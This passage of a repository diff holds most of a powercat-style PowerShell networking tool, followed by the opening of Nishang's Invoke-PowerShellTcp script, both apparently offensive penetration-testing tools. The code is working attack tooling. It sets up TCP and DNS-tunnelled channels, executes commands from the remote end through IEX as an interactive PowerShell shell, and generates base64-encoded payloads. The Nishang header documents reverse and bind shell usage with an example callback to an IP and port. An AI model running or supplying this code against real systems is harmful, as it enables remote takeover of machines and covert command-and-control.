$FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray}
|
||||
$FuncVars["AckData"] = ${function:AcknowledgeData}
|
||||
$FuncVars["SendPacket"] = ${function:SendPacket}
|
||||
$FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
|
||||
$FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
$FuncVars["Failures"] = 0
|
||||
|
||||
$SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"]))
|
||||
$ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))
|
||||
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket))
|
||||
if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."}
|
||||
$ReturningData = $DecodedPacket[1]
|
||||
if($ReturningData -ne ""){$FuncVars["InputData"] = ""}
|
||||
$FuncVars["AckNum"] = $DecodedPacket[2]
|
||||
$FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length)
|
||||
if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."}
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_DNS
|
||||
{
|
||||
param($FuncVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
|
||||
$PacketsData = @()
|
||||
$PacketData = ""
|
||||
|
||||
if($FuncVars["InputData"] -ne $null)
|
||||
{
|
||||
$Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"]))
|
||||
$SectionCount = 0
|
||||
$PacketCount = 0
|
||||
foreach($Char in $Hex)
|
||||
{
|
||||
if($SectionCount -ge 30)
|
||||
{
|
||||
$SectionCount = 0
|
||||
$PacketData += "."
|
||||
}
|
||||
if($PacketCount -ge ($FuncVars["MaxMSGDataSize"]))
|
||||
{
|
||||
$PacketsData += $PacketData.TrimEnd(".")
|
||||
$PacketCount = 0
|
||||
$SectionCount = 0
|
||||
$PacketData = ""
|
||||
}
|
||||
$PacketData += $Char
|
||||
$SectionCount += 2
|
||||
$PacketCount += 2
|
||||
}
|
||||
$PacketData = $PacketData.TrimEnd(".")
|
||||
$PacketsData += $PacketData
|
||||
$FuncVars["InputData"] = ""
|
||||
}
|
||||
else
|
||||
{
|
||||
$PacketsData = @("")
|
||||
}
|
||||
|
||||
[byte[]]$ReturningData = @()
|
||||
foreach($PacketData in $PacketsData)
|
||||
{
|
||||
try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])}
|
||||
catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))}
|
||||
catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
try
|
||||
{
|
||||
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet))
|
||||
if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue }
|
||||
$FuncVars["AckNum"] = $DecodedPacket[2]
|
||||
$FuncVars["SeqNum"] = $DecodedPacket[3]
|
||||
$ReturningData += $DecodedPacket[1]
|
||||
}
|
||||
catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
}
|
||||
|
||||
if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break}
|
||||
|
||||
if($ReturningData -ne @())
|
||||
{
|
||||
$FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"]))
|
||||
}
|
||||
return $ReturningData,$FuncVars
|
||||
}
|
||||
function WriteData_DNS
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data)
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_DNS
|
||||
{
|
||||
param($FuncVars)
|
||||
$FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"])
|
||||
Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null
|
||||
}
|
||||
############### DNS FUNCTIONS ###############
|
||||
|
||||
########## TCP FUNCTIONS ##########
|
||||
function Setup_TCP
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
$c,$l,$p,$t = $FuncSetupVars
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
$FuncVars = @{}
|
||||
if(!$l)
|
||||
{
|
||||
$FuncVars["l"] = $False
|
||||
$Socket = New-Object System.Net.Sockets.TcpClient
|
||||
Write-Verbose "Connecting..."
|
||||
$Handle = $Socket.BeginConnect($c,$p,$null,$null)
|
||||
}
|
||||
else
|
||||
{
|
||||
$FuncVars["l"] = $True
|
||||
Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")
|
||||
$Socket = New-Object System.Net.Sockets.TcpListener $p
|
||||
$Socket.Start()
|
||||
$Handle = $Socket.BeginAcceptTcpClient($null, $null)
|
||||
}
|
||||
|
||||
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
|
||||
while($True)
|
||||
{
|
||||
if($Host.UI.RawUI.KeyAvailable)
|
||||
{
|
||||
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode))
|
||||
{
|
||||
Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."
|
||||
if($FuncVars["l"]){$Socket.Stop()}
|
||||
else{$Socket.Close()}
|
||||
$Stopwatch.Stop()
|
||||
break
|
||||
}
|
||||
}
|
||||
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
|
||||
{
|
||||
if(!$l){$Socket.Close()}
|
||||
else{$Socket.Stop()}
|
||||
$Stopwatch.Stop()
|
||||
Write-Verbose "Timeout!" ; break
|
||||
break
|
||||
}
|
||||
if($Handle.IsCompleted)
|
||||
{
|
||||
if(!$l)
|
||||
{
|
||||
try
|
||||
{
|
||||
$Socket.EndConnect($Handle)
|
||||
$Stream = $Socket.GetStream()
|
||||
$BufferSize = $Socket.ReceiveBufferSize
|
||||
Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")
|
||||
}
|
||||
catch{$Socket.Close(); $Stopwatch.Stop(); break}
|
||||
}
|
||||
else
|
||||
{
|
||||
$Client = $Socket.EndAcceptTcpClient($Handle)
|
||||
$Stream = $Client.GetStream()
|
||||
$BufferSize = $Client.ReceiveBufferSize
|
||||
Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")")
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
$Stopwatch.Stop()
|
||||
if($Socket -eq $null){break}
|
||||
$FuncVars["Stream"] = $Stream
|
||||
$FuncVars["Socket"] = $Socket
|
||||
$FuncVars["BufferSize"] = $BufferSize
|
||||
$FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
$FuncVars["StreamBytesRead"] = 1
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_TCP
|
||||
{
|
||||
param($FuncVars)
|
||||
$Data = $null
|
||||
if($FuncVars["StreamBytesRead"] -eq 0){break}
|
||||
if($FuncVars["StreamReadOperation"].IsCompleted)
|
||||
{
|
||||
$StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])
|
||||
if($StreamBytesRead -eq 0){break}
|
||||
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_TCP
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["Stream"].Write($Data, 0, $Data.Length)
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_TCP
|
||||
{
|
||||
param($FuncVars)
|
||||
try{$FuncVars["Stream"].Close()}
|
||||
catch{}
|
||||
if($FuncVars["l"]){$FuncVars["Socket"].Stop()}
|
||||
else{$FuncVars["Socket"].Close()}
|
||||
}
|
||||
########## TCP FUNCTIONS ##########
|
||||
|
||||
########## CMD FUNCTIONS ##########
|
||||
function Setup_CMD
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
$FuncVars = @{}
|
||||
$ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$ProcessStartInfo.FileName = $FuncSetupVars[0]
|
||||
$ProcessStartInfo.UseShellExecute = $False
|
||||
$ProcessStartInfo.RedirectStandardInput = $True
|
||||
$ProcessStartInfo.RedirectStandardOutput = $True
|
||||
$ProcessStartInfo.RedirectStandardError = $True
|
||||
$FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)
|
||||
Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")
|
||||
$FuncVars["Process"].Start() | Out-Null
|
||||
$FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536
|
||||
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
|
||||
$FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536
|
||||
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_CMD
|
||||
{
|
||||
param($FuncVars)
|
||||
[byte[]]$Data = @()
|
||||
if($FuncVars["StdOutReadOperation"].IsCompleted)
|
||||
{
|
||||
$StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])
|
||||
if($StdOutBytesRead -eq 0){break}
|
||||
$Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]
|
||||
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
|
||||
}
|
||||
if($FuncVars["StdErrReadOperation"].IsCompleted)
|
||||
{
|
||||
$StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])
|
||||
if($StdErrBytesRead -eq 0){break}
|
||||
$Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]
|
||||
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_CMD
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n"))
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_CMD
|
||||
{
|
||||
param($FuncVars)
|
||||
$FuncVars["Process"] | Stop-Process
|
||||
}
|
||||
########## CMD FUNCTIONS ##########
|
||||
|
||||
########## POWERSHELL FUNCTIONS ##########
|
||||
function Main_Powershell
|
||||
{
|
||||
param($Stream1SetupVars)
|
||||
try
|
||||
{
|
||||
$encoding = New-Object System.Text.AsciiEncoding
|
||||
[byte[]]$InputToWrite = @()
|
||||
if($i -ne $null)
|
||||
{
|
||||
Write-Verbose "Input from -i detected..."
|
||||
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
|
||||
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
|
||||
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
|
||||
else{Write-Host "Unrecognised input type." ; return}
|
||||
}
|
||||
|
||||
Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)"
|
||||
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
|
||||
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
|
||||
|
||||
Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)"
|
||||
try
|
||||
{
|
||||
$IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> "))
|
||||
$Prompt = ("PS " + (pwd).Path + "> ")
|
||||
$CommandToExecute = ""
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Stream 2 Setup Failure" ; return
|
||||
}
|
||||
|
||||
if($InputToWrite -ne @())
|
||||
{
|
||||
Write-Verbose "Writing input to Stream 1..."
|
||||
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
|
||||
catch{Write-Host "Failed to write input to Stream 1" ; return}
|
||||
}
|
||||
|
||||
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
|
||||
|
||||
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
|
||||
while($True)
|
||||
{
|
||||
try
|
||||
{
|
||||
##### Stream2 Read #####
|
||||
$Prompt = $null
|
||||
$ReturnedData = $null
|
||||
if($CommandToExecute -ne "")
|
||||
{
|
||||
try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}
|
||||
catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))}
|
||||
$Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))
|
||||
}
|
||||
$Data += $IntroPrompt
|
||||
$IntroPrompt = $null
|
||||
$Data += $ReturnedData
|
||||
$Data += $Prompt
|
||||
$CommandToExecute = ""
|
||||
##### Stream2 Read #####
|
||||
|
||||
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
|
||||
if($Data.Length -eq 0){Start-Sleep -Milliseconds 100}
|
||||
if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
Write-Verbose "Closing Stream 1..."
|
||||
Stream1_Close $Stream1Vars
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to close Stream 1"
|
||||
}
|
||||
}
|
||||
}
|
||||
########## POWERSHELL FUNCTIONS ##########
|
||||
|
||||
########## CONSOLE FUNCTIONS ##########
|
||||
function Setup_Console
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
$FuncVars = @{}
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
$FuncVars["Output"] = $FuncSetupVars[0]
|
||||
$FuncVars["OutputBytes"] = [byte[]]@()
|
||||
$FuncVars["OutputString"] = ""
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_Console
|
||||
{
|
||||
param($FuncVars)
|
||||
$Data = $null
|
||||
if($Host.UI.RawUI.KeyAvailable)
|
||||
{
|
||||
$Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n")
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_Console
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
switch($FuncVars["Output"])
|
||||
{
|
||||
"Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)}
|
||||
"String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)}
|
||||
"Bytes" {$FuncVars["OutputBytes"] += $Data}
|
||||
}
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_Console
|
||||
{
|
||||
param($FuncVars)
|
||||
if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]}
|
||||
elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]}
|
||||
return
|
||||
}
|
||||
########## CONSOLE FUNCTIONS ##########
|
||||
|
||||
########## MAIN FUNCTION ##########
|
||||
function Main
|
||||
{
|
||||
param($Stream1SetupVars,$Stream2SetupVars)
|
||||
try
|
||||
{
|
||||
[byte[]]$InputToWrite = @()
|
||||
$Encoding = New-Object System.Text.AsciiEncoding
|
||||
if($i -ne $null)
|
||||
{
|
||||
Write-Verbose "Input from -i detected..."
|
||||
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
|
||||
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
|
||||
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
|
||||
else{Write-Host "Unrecognised input type." ; return}
|
||||
}
|
||||
|
||||
Write-Verbose "Setting up Stream 1..."
|
||||
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
|
||||
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
|
||||
|
||||
Write-Verbose "Setting up Stream 2..."
|
||||
try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}
|
||||
catch{Write-Verbose "Stream 2 Setup Failure" ; return}
|
||||
|
||||
$Data = $null
|
||||
|
||||
if($InputToWrite -ne @())
|
||||
{
|
||||
Write-Verbose "Writing input to Stream 1..."
|
||||
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
|
||||
catch{Write-Host "Failed to write input to Stream 1" ; return}
|
||||
}
|
||||
|
||||
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
|
||||
|
||||
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
|
||||
while($True)
|
||||
{
|
||||
try
|
||||
{
|
||||
$Data,$Stream2Vars = Stream2_ReadData $Stream2Vars
|
||||
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
|
||||
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
|
||||
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
|
||||
if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
#Write-Verbose "Closing Stream 2..."
|
||||
Stream2_Close $Stream2Vars
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to close Stream 2"
|
||||
}
|
||||
try
|
||||
{
|
||||
#Write-Verbose "Closing Stream 1..."
|
||||
Stream1_Close $Stream1Vars
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to close Stream 1"
|
||||
}
|
||||
}
|
||||
}
|
||||
########## MAIN FUNCTION ##########
|
||||
|
||||
########## GENERATE PAYLOAD ##########
|
||||
if($u)
|
||||
{
|
||||
Write-Verbose "Set Stream 1: UDP"
|
||||
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
|
||||
if($l){$InvokeString = "Main @('',`$True,'$p','$t') "}
|
||||
else{$InvokeString = "Main @('$c',`$False,'$p','$t') "}
|
||||
}
|
||||
elseif($dns -ne "")
|
||||
{
|
||||
Write-Verbose "Set Stream 1: DNS"
|
||||
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
|
||||
if($l){return "This feature is not available."}
|
||||
else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Set Stream 1: TCP"
|
||||
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
|
||||
if($l){$InvokeString = "Main @('',`$True,$p,$t) "}
|
||||
else{$InvokeString = "Main @('$c',`$False,$p,$t) "}
|
||||
}
|
||||
|
||||
if($e -ne "")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: Process"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n")
|
||||
$InvokeString += "@('$e')`n`n"
|
||||
}
|
||||
elseif($ep)
|
||||
{
|
||||
Write-Verbose "Set Stream 2: Powershell"
|
||||
$InvokeString += "`n`n"
|
||||
}
|
||||
elseif($r -ne "")
|
||||
{
|
||||
if($r.split(":")[0].ToLower() -eq "udp")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: UDP"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
|
||||
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
|
||||
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
|
||||
else{return "Bad relay format."}
|
||||
}
|
||||
if($r.split(":")[0].ToLower() -eq "dns")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: DNS"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
|
||||
if($r.split(":").Count -eq 2){return "This feature is not available."}
|
||||
elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")}
|
||||
else{return "Bad relay format."}
|
||||
}
|
||||
elseif($r.split(":")[0].ToLower() -eq "tcp")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: TCP"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
|
||||
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
|
||||
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
|
||||
else{return "Bad relay format."}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Set Stream 2: Console"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n")
|
||||
$InvokeString += ("@('" + $o + "')")
|
||||
}
|
||||
|
||||
if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")}
|
||||
else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")}
|
||||
$InvokeString = ($FunctionString + $InvokeString)
|
||||
########## GENERATE PAYLOAD ##########
|
||||
|
||||
########## RETURN GENERATED PAYLOADS ##########
|
||||
if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))}
|
||||
elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString}
|
||||
########## RETURN GENERATED PAYLOADS ##########
|
||||
|
||||
########## EXECUTION ##########
|
||||
$Output = $null
|
||||
try
|
||||
{
|
||||
if($rep)
|
||||
{
|
||||
while($True)
|
||||
{
|
||||
$Output += IEX $InvokeString
|
||||
Start-Sleep -s 2
|
||||
Write-Verbose "Repetition Enabled: Restarting..."
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$Output += IEX $InvokeString
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if($Output -ne $null)
|
||||
{
|
||||
if($of -eq ""){$Output}
|
||||
else{[io.file]::WriteAllBytes($of,$Output)}
|
||||
}
|
||||
}
|
||||
########## EXECUTION ##########
|
||||
}
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,127 @@
|
|||
function Invoke-PowerShellTcp
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
|
||||
|
||||
.DESCRIPTION
|
||||
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
|
||||
Also, a standard netcat can connect to this script Bind to a specific port.
|
||||
|
||||
The script is derived from Powerfun written by Ben Turner & Dave Hardy
|
||||
|
||||
.PARAMETER IPAddress
|
||||
The IP address to connect to when using the -Reverse switch.
|
||||
|
||||
.PARAMETER Port
|
||||
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
|
||||
|
||||
.EXAMPLE
|
||||
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
|
||||
|
||||
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
|
||||
the given IP and port.
|
||||
|
||||
.EXAMPLE
|
||||
PS > Invoke-PowerShellTcp -Bind -Port 4444
|
||||
|
||||
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
|
||||
|
||||
.EXAMPLE
|
||||
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
|
||||
|
||||
